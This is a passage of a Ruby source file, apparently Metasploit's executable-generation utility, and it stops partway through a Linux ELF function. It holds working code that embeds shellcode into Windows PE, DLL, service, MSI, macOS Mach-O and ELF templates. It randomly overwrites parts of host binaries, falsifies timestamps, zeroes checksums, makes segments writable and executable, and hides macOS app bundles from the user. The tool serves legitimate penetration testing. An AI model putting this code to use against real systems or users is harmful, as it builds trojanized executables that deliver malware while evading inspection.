CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/lib/msf/util/exe.rb
Views: 1904
# -*- coding: binary -*-12module Msf3module Util4#5# The class provides methods for creating and encoding executable file6# formats for various platforms. It is a replacement for the previous7# code in Rex::Text8#910class EXE1112require 'rex'13require 'rex/peparsey'14require 'rex/pescan'15require 'rex/random_identifier'16require 'rex/zip'17require 'rex/powershell'18require 'metasm'19require 'digest/sha1'20# Generates a default template21#22# @param opts [Hash] The options hash23# @option opts [String] :template, the template type for the executable24# @option opts [String] :template_path, the path for the template25# @option opts [Bool] :fallback, If there are no options set, default options will be used26# @param exe [String] Template type. If undefined, will use the default.27# @param path [String] Where you would like the template to be saved.28def self.set_template_default(opts, exe = nil, path = nil)29# If no path specified, use the default one30path ||= File.join(Msf::Config.data_directory, "templates")3132# If there's no default name, we must blow it up.33unless exe34raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +35'without default exe name!'36end3738# Use defaults only if nothing is specified39opts[:template_path] ||= path40opts[:template] ||= exe4142# Only use the path when the filename contains no separators.43unless opts[:template].include?(File::SEPARATOR)44opts[:template] = File.join(opts[:template_path], opts[:template])45end4647# Check if it exists now48return if File.file?(opts[:template])49# If it failed, try the default...50if opts[:fallback]51default_template = File.join(path, exe)52if File.file?(default_template)53# Perhaps we should warn about falling back to the default?54opts.merge!({ :fellback => default_template })55opts[:template] = default_template56end57end58end5960# self.read_replace_script_template61#62# @param filename [String] Name of the file63# @param hash_sub [Hash]64def self.read_replace_script_template(filename, hash_sub)65template_pathname = File.join(Msf::Config.data_directory, "templates",66"scripts", filename)67template = ''68File.open(template_pathname, "rb") {|f| template = f.read}69template % hash_sub70end717273# Generates a ZIP file.74#75# @param files [Array<Hash>] Items to compress. Each item is a hash that supports these options:76# * :data - The content of the file.77# * :fname - The file path in the ZIP file78# * :comment - A comment79# @example Compressing two files, one in a folder called 'test'80# Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])81# @return [String]82def self.to_zip(files)83zip = Rex::Zip::Archive.new8485files.each do |f|86data = f[:data]87fname = f[:fname]88comment = f[:comment] || ''89zip.add_file(fname, data, comment)90end9192zip.pack93end9495# Executable generators96#97# @param arch [Array<String>] The architecture of the system (i.e :x86, :x64)98# @param plat [String] The platform (i.e Linux, Windows, OSX)99# @param code [String]100# @param opts [Hash] The options hash101# @param framework [Msf::Framework] The framework of you want to use102# @return [String]103# @return [NilClass]104def self.to_executable(framework, arch, plat, code = '', opts = {})105if elf? code or macho? code106return code107end108109if arch.index(ARCH_X86)110111if plat.index(Msf::Module::Platform::Windows)112return to_win32pe(framework, code, opts)113end114115if plat.index(Msf::Module::Platform::Linux)116return to_linux_x86_elf(framework, code)117end118119if plat.index(Msf::Module::Platform::OSX)120return to_osx_x86_macho(framework, code)121end122123if plat.index(Msf::Module::Platform::BSD)124return to_bsd_x86_elf(framework, code)125end126127if plat.index(Msf::Module::Platform::Solaris)128return to_solaris_x86_elf(framework, code)129end130131# XXX: Add remaining x86 systems here132end133134if arch.index(ARCH_X64)135if (plat.index(Msf::Module::Platform::Windows))136return to_win64pe(framework, code, opts)137end138139if plat.index(Msf::Module::Platform::Linux)140return to_linux_x64_elf(framework, code, opts)141end142143if plat.index(Msf::Module::Platform::OSX)144return to_osx_x64_macho(framework, code)145end146147if plat.index(Msf::Module::Platform::BSD)148return to_bsd_x64_elf(framework, code)149end150end151152if arch.index(ARCH_ARMLE)153if plat.index(Msf::Module::Platform::OSX)154return to_osx_arm_macho(framework, code)155end156157if plat.index(Msf::Module::Platform::Linux)158return to_linux_armle_elf(framework, code)159end160161# XXX: Add remaining ARMLE systems here162end163164if arch.index(ARCH_AARCH64)165if plat.index(Msf::Module::Platform::Linux)166return to_linux_aarch64_elf(framework, code)167end168169if plat.index(Msf::Module::Platform::OSX)170return to_osx_aarch64_macho(framework, code)171end172173# XXX: Add remaining AARCH64 systems here174end175176if arch.index(ARCH_PPC)177if plat.index(Msf::Module::Platform::OSX)178return to_osx_ppc_macho(framework, code)179end180# XXX: Add PPC OS X and Linux here181end182183if arch.index(ARCH_MIPSLE)184if plat.index(Msf::Module::Platform::Linux)185return to_linux_mipsle_elf(framework, code)186end187# XXX: Add remaining MIPSLE systems here188end189190if arch.index(ARCH_MIPSBE)191if plat.index(Msf::Module::Platform::Linux)192return to_linux_mipsbe_elf(framework, code)193end194# XXX: Add remaining MIPSLE systems here195end196nil197end198199# Clears the DYNAMIC_BASE flag for a Windows executable200#201# @param exe [String] The raw executable to be modified by the method202# @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file203# @return [String] the modified executable204def self.clear_dynamic_base(exe, pe)205c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse206c_bits[6] = 0 # DYNAMIC_BASE207new_dllcharacteristics = c_bits.reverse.join.to_i(2)208209# PE Header Pointer offset = 60d210# SizeOfOptionalHeader offset = 94h211dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94212exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")213exe214end215216# self.to_win32pe217#218# @param framework [Msf::Framework]219# @param code [String]220# @param opts [Hash]221# @option opts [String] :sub_method222# @option opts [String] :inject, Code to inject into the exe223# @option opts [String] :template224# @option opts [Symbol] :arch, Set to :x86 by default225# @return [String]226def self.to_win32pe(framework, code, opts = {})227228# For backward compatibility, this is roughly equivalent to 'exe-small' fmt229if opts[:sub_method]230if opts[:inject]231raise RuntimeError, 'NOTE: using the substitution method means no inject support'232end233234# use235self.to_win32pe_exe_sub(framework, code, opts)236end237238# Allow the user to specify their own EXE template239set_template_default(opts, "template_x86_windows.exe")240241# Copy the code to a new RWX segment to allow for self-modifying encoders242payload = win32_rwx_exec(code)243244# Create a new PE object and run through sanity checks245pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)246247#try to inject code into executable by adding a section without affecting executable behavior248if opts[:inject]249injector = Msf::Exe::SegmentInjector.new({250:payload => code,251:template => opts[:template],252:arch => :x86,253:secname => opts[:secname]254})255return injector.generate_pe256end257258text = nil259pe.sections.each {|sec| text = sec if sec.name == ".text"}260261raise RuntimeError, "No .text section found in the template" unless text262263unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)264raise RuntimeError, "The .text section does not contain an entry point"265end266267p_length = payload.length + 256268269# If the .text section is too small, append a new section instead270if text.size < p_length271appender = Msf::Exe::SegmentAppender.new({272:payload => code,273:template => opts[:template],274:arch => :x86,275:secname => opts[:secname]276})277return appender.generate_pe278end279280# Store some useful offsets281off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)282off_beg = pe.rva_to_file_offset(text.base_rva)283284# We need to make sure our injected code doesn't conflict with the285# the data directories stored in .text (import, export, etc)286mines = []287pe.hdr.opt['DataDirectory'].each do |dir|288next if dir.v['Size'] == 0289next unless text.contains_rva?(dir.v['VirtualAddress'])290delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg291mines << [delta, dir.v['Size']]292end293294# Break the text segment into contiguous blocks295blocks = []296bidx = 0297mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|298bbeg = bidx299bend = mine[0]300blocks << [bidx, bend-bidx] if bbeg != bend301bidx = mine[0] + mine[1]302end303304# Add the ending block305blocks << [bidx, text.size - bidx] if bidx < text.size - 1306307# Find the largest contiguous block308blocks.sort!{|a,b| b[1]<=>a[1]}309block = blocks.first310311# TODO: Allow the entry point in a different block312if payload.length + 256 >= block[1]313raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})"314end315316# Make a copy of the entire .text section317data = text.read(0,text.size)318319# Pick a random offset to store the payload320poff = rand(block[1] - payload.length - 256)321322# Flip a coin to determine if EP is before or after323eloc = rand(2)324eidx = nil325326# Pad the entry point with random nops327entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)328329# Pick an offset to store the new entry point330if eloc == 0 # place the entry point before the payload331poff += 256332eidx = rand(poff-(entry.length + 5))333else # place the entry pointer after the payload334poff -= [256, poff].min335eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length336end337338# Relative jump from the end of the nops to the payload339entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')340341# Mangle 25% of the original executable3421.upto(block[1] / 4) do343data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")344end345346# Patch the payload and the new entry point into the .text347data[block[0] + poff, payload.length] = payload348data[block[0] + eidx, entry.length] = entry349350# Create the modified version of the input executable351exe = ''352File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}353354a = [text.base_rva + block.first + eidx].pack("V")355exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a356exe[off_beg, data.length] = data357358tds = pe.hdr.file.TimeDateStamp359exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")360361cks = pe.hdr.opt.CheckSum362unless cks == 0363exe[exe.index([cks].pack('V')), 4] = [0].pack("V")364end365366exe = clear_dynamic_base(exe, pe)367pe.close368369exe370end371372# self.to_winpe_only373#374# @param framework [Msf::Framework] The framework of you want to use375# @param code [String]376# @param opts [Hash]377# @param arch [String] Default is "x86"378def self.to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)379380# Allow the user to specify their own EXE template381set_template_default(opts, "template_#{arch}_windows.exe")382383pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)384385exe = ''386File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}387388pe_header_size = 0x18389entryPoint_offset = 0x28390section_size = 0x28391characteristics_offset = 0x24392virtualAddress_offset = 0x0c393sizeOfRawData_offset = 0x10394395sections_table_offset =396pe._dos_header.v['e_lfanew'] +397pe._file_header.v['SizeOfOptionalHeader'] +398pe_header_size399400sections_table_characteristics_offset = sections_table_offset + characteristics_offset401402sections_header = []403pe._file_header.v['NumberOfSections'].times do |i|404section_offset = sections_table_offset + (i * section_size)405sections_header << [406sections_table_characteristics_offset + (i * section_size),407exe[section_offset,section_size]408]409end410411addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint412413# look for section with entry point414sections_header.each do |sec|415virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]416sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]417characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]418419if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)420importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]421if (importsTable - addressOfEntryPoint) < code.length422#shift original entry point to prevent tables overwriting423addressOfEntryPoint = importsTable - code.length + 4424425entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset426exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')427end428# put this section writable429characteristics |= 0x8000_0000430newcharacteristics = [characteristics].pack('V')431exe[sec[0],newcharacteristics.length] = newcharacteristics432end433end434435# put the shellcode at the entry point, overwriting template436entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)437exe[entryPoint_file_offset,code.length] = code438exe = clear_dynamic_base(exe, pe)439exe440end441442# self.to_win32pe_old443#444# @param framework [Msf::Framework] The framework of you want to use445# @param code [String]446# @param opts [Hash]447def self.to_win32pe_old(framework, code, opts = {})448449payload = code.dup450# Allow the user to specify their own EXE template451set_template_default(opts, "template_x86_windows_old.exe")452453pe = ''454File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}455456if payload.length <= 2048457payload << Rex::Text.rand_text(2048-payload.length)458else459raise RuntimeError, "The EXE generator now has a max size of 2048 " +460"bytes, please fix the calling module"461end462463bo = pe.index('PAYLOAD:')464unless bo465raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"466end467pe[bo, payload.length] = payload468469pe[136, 4] = [rand(0x100000000)].pack('V')470471ci = pe.index("\x31\xc9" * 160)472unless ci473raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""474end475cd = pe.index("\x31\xc9" * 160, ci + 320)476unless cd477raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""478end479rc = pe[ci+320, cd-ci-320]480481# 640 + rc.length bytes of room to store an encoded rc at offset ci482enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)483lft = 640+rc.length - enc.length484485buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)486pe[ci, buf.length] = buf487488# Make the data section executable489xi = pe.index([0xc0300040].pack('V'))490pe[xi,4] = [0xe0300020].pack('V')491492# Add a couple random bytes for fun493pe << Rex::Text.rand_text(rand(64)+4)494pe495end496497498# Splits a string into a number of assembly push operations499#500# @param string [String] String to be used501# @return [String] null terminated string as assembly push ops502def self.string_to_pushes(string)503str = string.dup504# Align string to 4 bytes505rem = (str.length) % 4506if rem > 0507str << "\x00" * (4 - rem)508pushes = ''509else510pushes = "h\x00\x00\x00\x00"511end512# string is now 4 bytes aligned with null byte513514# push string to stack, starting at the back515while str.length > 0516four = 'h'+str.slice!(-4,4)517pushes << four518end519520pushes521end522523# self.exe_sub_method524#525# @param code [String]526# @param opts [Hash]527# @option opts [Symbol] :exe_type528# @option opts [String] :service_exe529# @option opts [Boolean] :sub_method530# @return [String]531def self.exe_sub_method(code,opts ={})532pe = self.get_file_contents(opts[:template])533534case opts[:exe_type]535when :service_exe536opts[:exe_max_sub_length] ||= 8192537name = opts[:servicename]538if name539bo = pe.index('SERVICENAME')540unless bo541raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"542end543pe[bo, 11] = [name].pack('a11')544end545pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]546when :dll547opts[:exe_max_sub_length] ||= 4096548when :exe_sub549opts[:exe_max_sub_length] ||= 4096550end551552bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")553554if code.length <= opts.fetch(:exe_max_sub_length)555pe[bo, code.length] = [code].pack("a*")556else557raise RuntimeError, "The EXE generator now has a max size of " +558"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"559end560561if opts[:exe_type] == :dll562mt = pe.index('MUTEX!!!')563pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt564%w{ Local\Semaphore:Default Local\Event:Default }.each do |name|565offset = pe.index(name)566pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset567end568569if opts[:dll_exitprocess]570exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"571exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"572et_index = pe.index(exit_thread)573if et_index574pe[et_index,exit_process.length] = exit_process575else576raise RuntimeError, "Unable to find and replace ExitThread in the DLL."577end578end579end580581pe582end583584# self.to_win32pe_exe_sub585#586# @param framework [Msf::Framework] The framework of you want to use587# @param code [String]588# @param opts [Hash]589# @return [String]590def self.to_win32pe_exe_sub(framework, code, opts = {})591# Allow the user to specify their own DLL template592set_template_default(opts, "template_x86_windows.exe")593opts[:exe_type] = :exe_sub594exe_sub_method(code,opts)595end596597# self.to_win64pe598#599# @param framework [Msf::Framework] The framework of you want to use600# @param code [String]601# @param opts [Hash]602# @return [String]603def self.to_win64pe(framework, code, opts = {})604# Allow the user to specify their own EXE template605set_template_default(opts, "template_x64_windows.exe")606607# Try to inject code into executable by adding a section without affecting executable behavior608if opts[:inject]609injector = Msf::Exe::SegmentInjector.new({610:payload => code,611:template => opts[:template],612:arch => :x64,613:secname => opts[:secname]614})615return injector.generate_pe616end617618# Append a new section instead619appender = Msf::Exe::SegmentAppender.new({620:payload => code,621:template => opts[:template],622:arch => :x64,623:secname => opts[:secname]624})625return appender.generate_pe626end627628# Embeds shellcode within a Windows PE file implementing the Windows629# service control methods.630#631# @param framework [Object]632# @param code [String] shellcode to be embedded633# @option opts [Boolean] :sub_method use substitution technique with a634# service template PE635# @option opts [String] :servicename name of the service, not used in636# substitution technique637#638# @return [String] Windows Service PE file639def self.to_win32pe_service(framework, code, opts = {})640set_template_default(opts, "template_x86_windows_svc.exe")641if opts[:sub_method]642# Allow the user to specify their own service EXE template643opts[:exe_type] = :service_exe644return exe_sub_method(code,opts)645else646ENV['MSF_SERVICENAME'] = opts[:servicename]647648opts[:framework] = framework649opts[:payload] = 'stdin'650opts[:encoder] = '@x86/service,'+(opts[:serviceencoder] || '')651652# XXX This should not be required, it appears there is a dependency inversion653# See https://github.com/rapid7/metasploit-framework/pull/9851654venom_generator = Msf::PayloadGenerator.new(opts)655code_service = venom_generator.multiple_encode_payload(code)656return to_winpe_only(framework, code_service, opts)657end658end659660# self.to_win64pe_service661#662# @param framework [Msf::Framework] The framework of you want to use663# @param code [String]664# @param opts [Hash]665# @option [String] :exe_type666# @option [String] :service_exe667# @option [String] :dll668# @option [String] :inject669# @return [String]670def self.to_win64pe_service(framework, code, opts = {})671# Allow the user to specify their own service EXE template672set_template_default(opts, "template_x64_windows_svc.exe")673opts[:exe_type] = :service_exe674exe_sub_method(code,opts)675end676677# self.set_template_default_winpe_dll678#679# Set the default winpe DLL template. It will select the template based on the parameters provided including the size680# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.681#682# @param opts [Hash]683# @param arch The architecture, as one the predefined constants.684# @param size [Integer] The size of the payload.685# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'686private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil)687return if opts[:template].present?688689# dynamic size upgrading is only available when MSF selects the template because there's currently no way to690# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB691match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }692if match693opts[:exe_max_sub_length] = match.first694size_suffix = match.last695end696697arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)698raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?699700if flavor.present?701unless %w[mixed_mode dccw_gdiplus].include?(flavor)702raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'703end704705flavor = '_' + flavor706end707708set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")709end710711# self.to_win32pe_dll712#713# @param framework [Msf::Framework] The framework of you want to use714# @param code [String]715# @param opts [Hash]716# @option [String] :exe_type717# @option [String] :dll718# @option [String] :inject719# @return [String]720def self.to_win32pe_dll(framework, code, opts = {})721flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil722set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)723opts[:exe_type] = :dll724725if opts[:inject]726self.to_win32pe(framework, code, opts)727else728exe_sub_method(code,opts)729end730end731732# self.to_win64pe_dll733#734# @param framework [Msf::Framework] The framework of you want to use735# @param code [String]736# @param opts [Hash]737# @option [String] :exe_type738# @option [String] :dll739# @option [String] :inject740# @return [String]741def self.to_win64pe_dll(framework, code, opts = {})742flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil743set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor)744745opts[:exe_type] = :dll746747if opts[:inject]748raise RuntimeError, 'Template injection unsupported for x64 DLLs'749else750exe_sub_method(code,opts)751end752end753754755# self.to_win32pe_dccw_gdiplus_dll756#757# @param framework [Msf::Framework] The framework of you want to use758# @param code [String]759# @param opts [Hash]760# @option [String] :exe_type761# @option [String] :dll762# @option [String] :inject763# @return [String]764def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})765set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')766to_win32pe_dll(framework, code, opts)767end768769# self.to_win64pe_dccw_gdiplus_dll770#771# @param framework [Msf::Framework] The framework of you want to use772# @param code [String]773# @param opts [Hash]774# @option [String] :exe_type775# @option [String] :dll776# @option [String] :inject777# @return [String]778def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})779set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')780to_win64pe_dll(framework, code, opts)781end782783# Wraps an executable inside a Windows .msi file for auto execution when run784#785# @param framework [Msf::Framework] The framework of you want to use786# @param exe [String]787# @param opts [Hash]788# @option opts [String] :msi_template_path789# @option opts [String] :msi_template790# @return [String]791def self.to_exe_msi(framework, exe, opts = {})792if opts[:uac]793opts[:msi_template] ||= "template_windows.msi"794else795opts[:msi_template] ||= "template_nouac_windows.msi"796end797replace_msi_buffer(exe, opts)798end799800#self.replace_msi_buffer801#802# @param pe [String]803# @param opts [String]804# @option [String] :msi_template805# @option [String] :msi_template_path806# @return [String]807def self.replace_msi_buffer(pe, opts)808opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")809810if opts[:msi_template].include?(File::SEPARATOR)811template = opts[:msi_template]812else813template = File.join(opts[:msi_template_path], opts[:msi_template])814end815816msi = self.get_file_contents(template)817818section_size = 2**(msi[30..31].unpack('v')[0])819820# This table is one of the few cases where signed values are needed821sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')822823buffer_chain = []824825# This is closely coupled with the template provided and ideally826# would be calculated from the dir stream?827current_secid = 5828829until current_secid == -2830buffer_chain << current_secid831current_secid = sector_allocation_table[current_secid]832end833834buffer_size = buffer_chain.length * section_size835836if pe.size > buffer_size837raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"838end839840pe_block_start = 0841pe_block_end = pe_block_start + section_size - 1842843buffer_chain.each do |section|844block_start = section_size * (section + 1)845block_end = block_start + section_size - 1846pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")847msi[block_start..block_end] = pe_block848pe_block_start = pe_block_end + 1849pe_block_end += section_size850end851852msi853end854855# self.to_osx_arm_macho856#857# @param framework [Msf::Framework] The framework of you want to use858# @param code [String]859# @param opts [Hash]860# @option [String] :template861# @return [String]862def self.to_osx_arm_macho(framework, code, opts = {})863864# Allow the user to specify their own template865set_template_default(opts, "template_armle_darwin.bin")866867mo = self.get_file_contents(opts[:template])868bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag")869mo[bo, code.length] = code870mo871end872873# self.to_osx_aarch64_macho874#875# @param framework [Msf::Framework] The framework of you want to use876# @param code [String]877# @param opts [Hash]878# @option [String] :template879# @return [String]880def self.to_osx_aarch64_macho(framework, code, opts = {})881882# Allow the user to specify their own template883set_template_default(opts, "template_aarch64_darwin.bin")884885mo = self.get_file_contents(opts[:template])886bo = self.find_payload_tag(mo, "Invalid OSX Aarch64 Mach-O template: missing \"PAYLOAD:\" tag")887mo[bo, code.length] = code888Payload::MachO.new(mo).sign889mo890end891892# self.to_osx_ppc_macho893#894# @param framework [Msf::Framework] The framework of you want to use895# @param code [String]896# @param opts [Hash]897# @option [String] :template898# @return [String]899def self.to_osx_ppc_macho(framework, code, opts = {})900901# Allow the user to specify their own template902set_template_default(opts, "template_ppc_darwin.bin")903904mo = self.get_file_contents(opts[:template])905bo = self.find_payload_tag(mo, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag")906mo[bo, code.length] = code907mo908end909910# self.to_osx_x86_macho911#912# @param framework [Msf::Framework] The framework of you want to use913# @param code [String]914# @param opts [Hash]915# @option [String] :template916# @return [String]917def self.to_osx_x86_macho(framework, code, opts = {})918919# Allow the user to specify their own template920set_template_default(opts, "template_x86_darwin.bin")921922mo = self.get_file_contents(opts[:template])923bo = self.find_payload_tag(mo, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag")924mo[bo, code.length] = code925mo926end927928# self.to_osx_x64_macho929#930# @param framework [Msf::Framework] The framework of you want to use931# @param code [String]932# @param opts [Hash]933# @option [String] :template934# @return [String]935def self.to_osx_x64_macho(framework, code, opts = {})936set_template_default(opts, "template_x64_darwin.bin")937938macho = self.get_file_contents(opts[:template])939bin = self.find_payload_tag(macho,940"Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag")941macho[bin, code.length] = code942macho943end944945# self.to_osx_app946# @param opts [Hash] The options hash947# @option opts [Hash] :exe_name (random) the name of the macho exe file (never seen by the user)948# @option opts [Hash] :app_name (random) the name of the OSX app949# @option opts [Hash] :hidden (true) hide the app when it is running950# @option opts [Hash] :plist_extra ('') some extra data to shove inside the Info.plist file951# @return [String] zip archive containing an OSX .app directory952def self.to_osx_app(exe, opts = {})953exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }954app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }955hidden = opts.fetch(:hidden, true)956plist_extra = opts.fetch(:plist_extra, '')957958app_name.chomp!(".app")959app_name += ".app"960961visible_plist = if hidden962%Q|963<key>LSBackgroundOnly</key>964<string>1</string>965|966else967''968end969970info_plist = %Q|971<?xml version="1.0" encoding="UTF-8"?>972<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">973<plist version="1.0">974<dict>975<key>CFBundleExecutable</key>976<string>#{exe_name}</string>977<key>CFBundleIdentifier</key>978<string>com.#{exe_name}.app</string>979<key>CFBundleName</key>980<string>#{exe_name}</string>#{visible_plist}981<key>CFBundlePackageType</key>982<string>APPL</string>983#{plist_extra}984</dict>985</plist>986|987988zip = Rex::Zip::Archive.new989zip.add_file("#{app_name}/", '')990zip.add_file("#{app_name}/Contents/", '')991zip.add_file("#{app_name}/Contents/Resources/", '')992zip.add_file("#{app_name}/Contents/MacOS/", '')993# Add the macho and mark it as executable994zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe).last.attrs = 0o777995zip.add_file("#{app_name}/Contents/Info.plist", info_plist)996zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')997zip.pack998end9991000# Create an ELF executable containing the payload provided in +code+1001#1002# For the default template, this method just appends the payload, checks if1003# the template is 32 or 64 bit and adjusts the offsets accordingly1004# For user-provided templates, modifies the header to mark all executable1005# segments as writable and overwrites the entrypoint (usually _start) with1006# the payload.1007# @param framework [Msf::Framework] The framework of you want to use1008# @param opts [Hash]1009# @option [String] :template1010# @param template [String]1011# @param code [String]1012# @param big_endian [Boolean] Set to "false" by default1013# @return [String]1014def self.to_exe_elf(framework, opts, template, code, big_endian=false)1015if elf? code1016return code1017end10181019# Allow the user to specify their own template1020set_template_default(opts, template)10211022# The old way to do it is like other formats, just overwrite a big1023# block of rwx mem with our shellcode.1024#bo = elf.index( "\x90\x90\x90\x90" * 1024 )1025#co = elf.index( " " * 512 )1026#elf[bo, 2048] = [code].pack('a2048') if bo10271028# The new template is just an ELF header with its entry point set to1029# the end of the file, so just append shellcode to it and fixup1030# p_filesz and p_memsz in the header for a working ELF executable.1031elf = self.get_file_contents(opts[:template])1032elf << code10331034# Check EI_CLASS to determine if the header is 32 or 64 bit1035# Use the proper offsets and pack size1036case elf[4,1].unpack("C").first1037when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)1038if big_endian1039elf[0x44,4] = [elf.length].pack('N') #p_filesz1040elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz1041else # little endian1042elf[0x44,4] = [elf.length].pack('V') #p_filesz1043elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz1044end1045when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)1046if big_endian1047elf[0x60,8] = [elf.length].pack('Q>') #p_filesz1048elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz1049else # little endian1050elf[0x60,8] = [elf.length].pack('Q<') #p_filesz1051elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz1052end1053else1054raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"1055end10561057elf1058end10591060# Create a 32-bit Linux ELF containing the payload provided in +code+1061#1062# @param framework [Msf::Framework] The framework of you want to use1063# @param code [String]1064# @param opts [Hash]1065# @option [String] :template1066# @return [String] Returns an elf1067def self.to_linux_x86_elf(framework, code, opts = {})1068default = true unless opts[:template]10691070if default1071elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)1072else1073# Use set_template_default to normalize the :template key. It will just end up doing1074# opts[:template] = File.join(opts[:template_path], opts[:template])1075# for us, check if the file exists.1076set_template_default(opts, 'template_x86_linux.bin')10771078# If this isn't our normal template, we have to do some fancy1079# header patching to mark the .text section rwx before putting our1080# payload into the entry point.10811082# read in the template and parse it1083e = Metasm::ELF.decode_file(opts[:template])10841085# This will become a modified copy of the template's original phdr1086new_phdr = Metasm::EncodedData.new1087e.segments.each { |s|1088# Be lazy and mark any executable segment as writable. Doing1089# it this way means we don't have to care about which one1090# contains .text1091s.flags += [ "W" ] if s.flags.include? "X"1092new_phdr << s.encode(e)1093}10941095# Copy the original file1096elf = self.get_file_contents(opts[:template], "rb")10971098# Replace the header with our rwx modified version1099elf[e.header.phoff, new_phdr.data.length] = new_phdr.data11001101# Replace code at the entrypoint with our payload1102entry_off = e.addr_to_off(e.label_addr('entrypoint'))1103elf[entry_off, code.length] = code1104end11051106elf1107end11081109# Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+1110#1111# @param framework [Msf::Framework]1112# @param code [String]1113# @param opts [Hash]1114# @option [String] :template1115# @return [String] Returns an elf1116def self.to_bsd_x86_elf(framework, code, opts = {})1117to_exe_elf(framework, opts, "template_x86_bsd.bin", code)1118end11191120# Create a 64-bit Linux ELF containing the payload provided in +code+1121#1122# @param framework [Msf::Framework]1123# @param code 